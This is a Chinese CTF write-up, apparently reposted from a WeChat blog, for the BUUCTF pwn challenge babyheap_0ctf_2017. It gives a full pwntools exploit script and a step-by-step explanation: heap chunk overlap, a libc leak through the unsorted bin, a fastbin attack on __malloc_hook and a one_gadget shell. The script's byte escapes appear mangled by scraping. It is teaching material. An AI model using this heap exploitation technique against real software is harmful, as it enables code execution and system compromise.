题目
平台:BUUCTF
题目:babyheap_0ctf_2017
考点:堆块重叠打unsorted bin泄露main_arena+88地址 & 替换__malloc_hook
为one_gadget
代码
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p = remote('node5.buuoj.cn', 29859)
p=process('./babyheap_0ctf_2017')
#p=gdb.debug('./babyheap_0ctf_2017','b main')
elf = ELF('./babyheap_0ctf_2017')
libc=ELF('./libc-2.23.so')
def debug():
# gdb.attach(p)
pause()
def alloc(size):
p.sendlineafter(b"Command: ", b"1")
p.sendlineafter(b"Size: ", str(size))
def fill(idx, content):
p.sendlineafter(b"Command: ", b"2")
p.sendlineafter(b"Index: ", str(idx))
p.sendlineafter(b"Size: ", str(len(content)))
p.sendafter(b"Content: ", content)
def free(idx):
p.sendlineafter(b"Command: ", b"3")
p.sendlineafter(b"Index: ", str(idx))
def dump(idx):
p.sendlineafter(b"Command: ", b"4")
p.sendlineafter(b"Index: ", str(idx))
alloc(0x80) #0
alloc(0x80) #1
alloc(0x80) #2
alloc(0x80) #3
free(1)
fill(0, b'x00'*0x88 + p64(0x121))
alloc(0x110) #1
fill(1, b'x00'*0x88 + p64(0x91))
free(2)
dump(1)
main_arena_add88_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00')) #main_arena+88
main_arena_addr = main_arena_add88_addr-88
malloc_hook_addr = main_arena_addr - 0x10
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
alloc(0x80) #2
alloc(0x60) #4
alloc(0x60) #5
free(5)
fill(4, b'x00'*0x68 + p64(0x71) + p64(malloc_hook_addr - 0x23))
alloc(0x60) #5
alloc(0x60) #6 -> malloc_hook
# ldd babyheap_0ctf_2017
# one_gadget /home/ubuntu/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6
one_gadget = libc_base + 0x4527a #local
one_gadget = libc_base + 0x4526a #remote
fill(6, b'a'*0x13 + p64(one_gadget))
alloc(0x10)
p.interactive()
分析
通过查看菜单,创建、删除、修改、打印功能,发现在修改功能中,可以定义输入的大小,那么如果修改时候输入的长度大于创建时定义的长度,就会产生堆块重叠问题
首先分配四个0x80的堆块,然后删除1号堆块

可以看到1号堆块已进入unsorted bin并且fd和bk指针指向main_arena+88
由于编辑函数长度没做限制,现在编辑0号堆块,覆盖写至1号堆块的大小为0x121

然后申请0x110大小的堆块,刚好把刚才修改大小的堆块从unsorted bin里拿回来了

但是由于申请空间后,里面的值被清零,所以下一个堆块的长度被覆盖掉了,我们通过手动修改1号块给他补回来

现在我们堆排布又回来了,同时刚好1号块完全覆盖过去了2号块
下一步free掉2号块,因为大小是0x80,所以会加入到unsorted bin链表上,也就是fd和bk指针会指向main_arena+88
然后打印1号块的内容,因为完全覆盖了2号块,所以main_arena+88的地址就被泄露出来了

接收泄露的地址,减去88就是main_arena的地址,往前减去0x10刚好发现就是malloc_hook的地址

泄露了malloc_hook跟给的libc计算一下偏移就得到了libc的基地址
然后申请一个0x80的堆块把刚才free掉的2号块补回来
再申请两个0x60的堆块准备往malloc_hook那迁移

然后free掉最后一个5号堆块,通过4号堆块的填充替换掉5号堆块的fd指针,使其指向malloc_hook-0x23的地址,是因为这个地址的大小处刚好为0x7f,能满足下一次分配0x60大小堆的条件


此时在fastbin的0x70也能看到指针的链子

再申请两个0x60大小的堆,第一个把刚才删掉的5号块补回来,然后下一个申请的堆就到了malloc_hook-0x23
通过one_gadget得到给的libc可以用的gadget,加上libc基址得到实际地址
分配过去的堆指针指向的是malloc_hook-0x23,由于堆头有0x10的结构体,实际开始输入内容的地址是malloc_hook-0x13,所以我们只需要填充0x13个字符然后就可以覆盖malloc_hook了
通过修改该堆内容完成malloc_hook的修改


最后再申请一个堆触发下malloc_hook即可执行one_gadget获取shell
原文始发于微信公众号(智佳网络安全):CTF学习-PWN-堆块重叠打malloc_hook
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300856.html